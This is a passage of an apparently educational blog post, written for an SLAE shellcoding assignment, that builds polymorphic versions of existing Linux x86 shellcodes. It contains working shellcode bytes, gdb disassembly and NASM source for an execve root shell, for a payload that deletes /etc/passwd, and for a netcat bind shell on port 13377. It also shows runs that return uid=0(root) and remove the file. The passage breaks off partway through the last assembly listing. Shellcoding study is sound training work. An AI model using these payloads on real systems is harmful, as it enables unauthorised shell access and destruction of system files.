class=&quot;s2&quot;&gt;33&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;46&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;fe&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;50&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;31&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;c0&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;33&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;07&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;50&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;89&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;e3&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;31&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;c0&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;50&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;8d&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;3b&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;57&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;89&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;e1&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;b0&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;0b&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;cd&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;e8&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;c1&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;ff&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;ff&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;ff&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;30&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;30&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;63&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;6a&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;6f&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;30&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;74&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;69&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s run it into &lt;a href=&quot;https://github.com/phackt/slae/tree/master/assignment6/execve/shellcode.c&quot;&gt;shellcode.c&lt;/a&gt;:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# gcc -fno-stack-protector -z execstack -o shellcode shellcode.c &amp;amp;&amp;amp; ./shellcode&lt;/span&gt;
Shellcode Length:  73
&lt;span class=&quot;c&quot;&gt;# id&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Our polymorphic shellcode is 73 bytes so we are under the 52 * 1.5 = 78 bytes, perfect.&lt;br /&gt;
&lt;br /&gt;&lt;/p&gt;
&lt;h3 id=&quot;unlink-etcpasswd-shellcode&quot;&gt;unlink /etc/passwd shellcode:&lt;/h3&gt;

&lt;p&gt;For this second shellcode let’s have a look at a &lt;a href=&quot;http://shell-storm.org/shellcode/files/shellcode-560.php&quot;&gt;shellcode&lt;/a&gt; that aims at unlinking the critical /etc/passwd file.  A quick &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;man 2 unlink&lt;/code&gt; provides this information: &lt;em&gt;&lt;strong&gt;unlink()&lt;/strong&gt; deletes a name from the filesystem.&lt;/em&gt;.  Great, but please don’t forget to backup your /etc/passwd file.&lt;/p&gt;

&lt;p&gt;Let’s compile and debug thanks to gdb:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# gcc -fno-stack-protector -z execstack -o unlink unlink.c &amp;amp;&amp;amp; chmod u+x ./unlink &amp;amp;&amp;amp; ./unlink&lt;/span&gt;
Shellcode Length: 35
&lt;span class=&quot;c&quot;&gt;# ls -lrt /etc/passwd*&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;-rw-------&lt;/span&gt; 1 0 root 3025 mars   1 21:47 /etc/passwd-
&lt;span class=&quot;nt&quot;&gt;-rw-r--r--&lt;/span&gt; 1 0 root 3073 avril 22 13:48 /etc/passwd.backup
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ok so we have our passwd backups but the &lt;em&gt;/etc/passwd&lt;/em&gt; file has been deleted.  Let’s have a look to the shellcode (35 bytes long):&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# gdb -q unlink&lt;/span&gt;
Reading symbols from unlink...&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;no debugging symbols found&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;...done.
gdb-peda&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;print &amp;amp;shell
&lt;span class=&quot;nv&quot;&gt;$1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&amp;lt;data variable, no debug info&amp;gt; &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; 0x804a040 &amp;lt;shell&amp;gt;
gdb-peda&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;br &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&amp;amp;shell
Breakpoint 1 at 0x804a040
gdb-peda&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;r
Starting program: /root/Documents/pentest/certs/slae/exam/assignment6.2/unlink 
Shellcode Length: 35
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;----------------------------------registers-----------------------------------&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
EAX: 0x804a040 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0x315e11eb 
EBX: 0x0 
ECX: 0x7fffffeb 
EDX: 0xb7faf870 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0x0 
ESI: 0x1 
EDI: 0xb7fae000 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0x1b2db0 
EBP: 0xbffff238 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0x0 
ESP: 0xbffff21c &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0x8048479 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&amp;lt;main+62&amp;gt;: mov    eax,0x0&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
EIP: 0x804a040 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0x315e11eb
EFLAGS: 0x282 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;carry parity adjust zero SIGN &lt;span class=&quot;nb&quot;&gt;trap &lt;/span&gt;INTERRUPT direction overflow&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-------------------------------------code-------------------------------------&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
   0x804a03a: add    BYTE PTR &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;eax],al
   0x804a03c: add    BYTE PTR &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;eax],al
   0x804a03e: add    BYTE PTR &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;eax],al
&lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; 0x804a040 &amp;lt;shell&amp;gt;: jmp    0x804a053 &amp;lt;shell+19&amp;gt;
 | 0x804a042 &amp;lt;shell+2&amp;gt;: pop    esi
 | 0x804a043 &amp;lt;shell+3&amp;gt;: xor    eax,eax
 | 0x804a045 &amp;lt;shell+5&amp;gt;: xor    ecx,ecx
 | 0x804a047 &amp;lt;shell+7&amp;gt;: xor    edx,edx
 |-&amp;gt;   0x804a053 &amp;lt;shell+19&amp;gt;:  call   0x804a042 &amp;lt;shell+2&amp;gt;
       0x804a058 &amp;lt;shell+24&amp;gt;:  das
       0x804a059 &amp;lt;shell+25&amp;gt;:  gs je  0x804a0bf
       0x804a05c &amp;lt;shell+28&amp;gt;:  das
                                                                  JUMP is taken
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;------------------------------------stack-------------------------------------&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
0000| 0xbffff21c &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0x8048479 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&amp;lt;main+62&amp;gt;:  mov    eax,0x0&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
0004| 0xbffff220 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0x1 
0008| 0xbffff224 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0xbffff2e4 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0xbffff480 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/root/Documents/pentest/certs/slae/exam/assignment6.2/unlink&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
0012| 0xbffff228 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0xbffff2ec &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0xbffff4bd &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;XDG_VTNR=2&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
0016| 0xbffff22c &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0x804a040 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0x315e11eb 
0020| 0xbffff230 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0xb7fae3dc &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0xb7faf1e0 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0x0 
0024| 0xbffff234 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0xbffff250 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0x1 
0028| 0xbffff238 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0x0 
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;------------------------------------------------------------------------------&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
Legend: code, data, rodata, value

Breakpoint 1, 0x0804a040 &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;shell &lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
gdb-peda&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;x/17i &lt;span class=&quot;nv&quot;&gt;$eip&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; 0x804a040 &amp;lt;shell&amp;gt;: jmp    0x804a053 &amp;lt;shell+19&amp;gt;
   0x804a042 &amp;lt;shell+2&amp;gt;: pop    esi
   0x804a043 &amp;lt;shell+3&amp;gt;: xor    eax,eax
   0x804a045 &amp;lt;shell+5&amp;gt;: xor    ecx,ecx
   0x804a047 &amp;lt;shell+7&amp;gt;: xor    edx,edx
   0x804a049 &amp;lt;shell+9&amp;gt;: mov    al,0xa
   0x804a04b &amp;lt;shell+11&amp;gt;:  mov    ebx,esi
   0x804a04d &amp;lt;shell+13&amp;gt;:  int    0x80
   0x804a04f &amp;lt;shell+15&amp;gt;:  mov    al,0x1
   0x804a051 &amp;lt;shell+17&amp;gt;:  int    0x80
   0x804a053 &amp;lt;shell+19&amp;gt;:  call   0x804a042 &amp;lt;shell+2&amp;gt;
   0x804a058 &amp;lt;shell+24&amp;gt;:  das    
   0x804a059 &amp;lt;shell+25&amp;gt;:  gs je  0x804a0bf
   0x804a05c &amp;lt;shell+28&amp;gt;:  das    
   0x804a05d &amp;lt;shell+29&amp;gt;:  jo     0x804a0c0
   0x804a05f &amp;lt;shell+31&amp;gt;:  jae    0x804a0d4
   0x804a061 &amp;lt;shell+33&amp;gt;:  ja     0x804a0c7
gdb-peda&lt;span class=&quot;err&quot;&gt;$&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So we can see a jmp/call/pop technique setting the string for the syscall &lt;strong&gt;0xa&lt;/strong&gt; (int unlink(const char *pathname);). Then a syscall to the exit function. Debugging just after the &lt;strong&gt;pop esi&lt;/strong&gt;:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gdb-peda&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;x/s &lt;span class=&quot;nv&quot;&gt;$esi&lt;/span&gt;
0x804a058 &amp;lt;shell+24&amp;gt;: &lt;span class=&quot;s2&quot;&gt;&quot;/etc/passwd&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s create our polymorphic shellcode:&lt;/p&gt;
&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;global&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;_start&lt;/span&gt;

&lt;span class=&quot;nf&quot;&gt;section&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;.text&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;_start:&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;jmp&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;short&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;here&lt;/span&gt;

&lt;span class=&quot;nl&quot;&gt;me:&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;pop&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;          &lt;span class=&quot;c1&quot;&gt;; Directly pop the @ of /etc/passwd into ebx&lt;/span&gt;

    &lt;span class=&quot;nf&quot;&gt;xor&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mul&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;          &lt;span class=&quot;c1&quot;&gt;; This instruction will cause both EAX and EDX to become zero&lt;/span&gt;
    
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;cl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x1&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;al&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xb&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;sub&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;al&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cl&lt;/span&gt;        &lt;span class=&quot;c1&quot;&gt;; Equivalent to mov al,0xa&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x80&lt;/span&gt;         &lt;span class=&quot;c1&quot;&gt;; int unlink(const char *pathname);&lt;/span&gt;
    
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;al&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cl&lt;/span&gt;        &lt;span class=&quot;c1&quot;&gt;; Equivalent to mov al,0x1&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x80&lt;/span&gt;         &lt;span class=&quot;c1&quot;&gt;; void _exit(int status);&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;call&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;me&lt;/span&gt;

&lt;span class=&quot;nl&quot;&gt;here:&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;call&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;me&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;path&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;db&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;/etc/passwd&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s run it:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# touch /etc/passwd&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# ./compile.sh unlink_polymorphic &amp;amp;&amp;amp; ./unlink_polymorphic&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Assembling with Nasm ... 
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Linking ...
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Done!
&lt;span class=&quot;c&quot;&gt;# ls /etc/passwd&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt;: impossible d&lt;span class=&quot;s1&quot;&gt;&apos;accéder à &apos;&lt;/span&gt;/etc/passwd&lt;span class=&quot;s1&quot;&gt;&apos;: Aucun fichier ou dossier de ce type
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Here we go, our new polymorphic shellcode did the job and is &lt;strong&gt;40 bytes&lt;/strong&gt; long.&lt;br /&gt;
&lt;br /&gt;&lt;/p&gt;
&lt;h3 id=&quot;netcat-bin-shellcode&quot;&gt;netcat bin shellcode:&lt;/h3&gt;

&lt;p&gt;Here we go for our last shell-storm shellcode. We will use this &lt;a href=&quot;http://shell-storm.org/shellcode/files/shellcode-804.php&quot;&gt;shellcode&lt;/a&gt; which is calling netcat to bind a shell on port 13377.&lt;/p&gt;

&lt;p&gt;Let’s assembly, link and execute &lt;a href=&quot;https://github.com/phackt/slae/tree/master/assignment6/netcat/netcat_bind.nasm&quot;&gt;netcat_bind.nasm&lt;/a&gt; (&lt;strong&gt;64 bytes&lt;/strong&gt; long):&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# ./compile.sh netcat_bind&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Assembling with Nasm ... 
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Linking ...
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Done!
&lt;span class=&quot;c&quot;&gt;# ./netcat_bind &lt;/span&gt;
listening on &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;any] 13377 ...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then from another shell:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# nc 127.0.0.1 13377&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;id
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Perfect, everything is working fine, so let’s mix up this opcodes in our &lt;a href=&quot;https://github.com/phackt/slae/tree/master/assignment6/netcat/netcat_bind_polymorphic.nasm&quot;&gt;netcat_bind_polymorphic.nasm&lt;/a&gt;:&lt;/p&gt;
&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;section&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;.text&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;global&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;_start&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;_start:&lt;/span&gt;
  &lt;span class=&quot;nf&quot;&gt;xor&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;
  &lt;span class=&quot;nf&quot;&gt;mul&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;          &lt;span class=&quot;c1&quot;&gt;; mul technique to clear out EAX and EDX&lt;/span&gt;
  
  &lt;span class=&quot;nf&quot;&gt;jmp&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;short&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;arg1&lt;/span&gt;   &lt;span class=&quot;c1&quot;&gt;; jmp/call/pop technique&lt;/span&gt;

&lt;span class=&quot;nl&quot;&gt;poptag1:&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;pop&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;          &lt;span class=&quot;c1&quot;&gt;; replace the push opcode&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;

  &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x68732f6e&lt;/span&gt;
  &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x69622f65&lt;/span&gt;
  &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x76766c2d&lt;/span&gt;
  &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;

  &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
  &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x636e2f2f&lt;/span&gt;
  &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x2f2f2f2f&lt;/span&gt;
  &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x6e69622f&lt;/span&gt;
  &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;

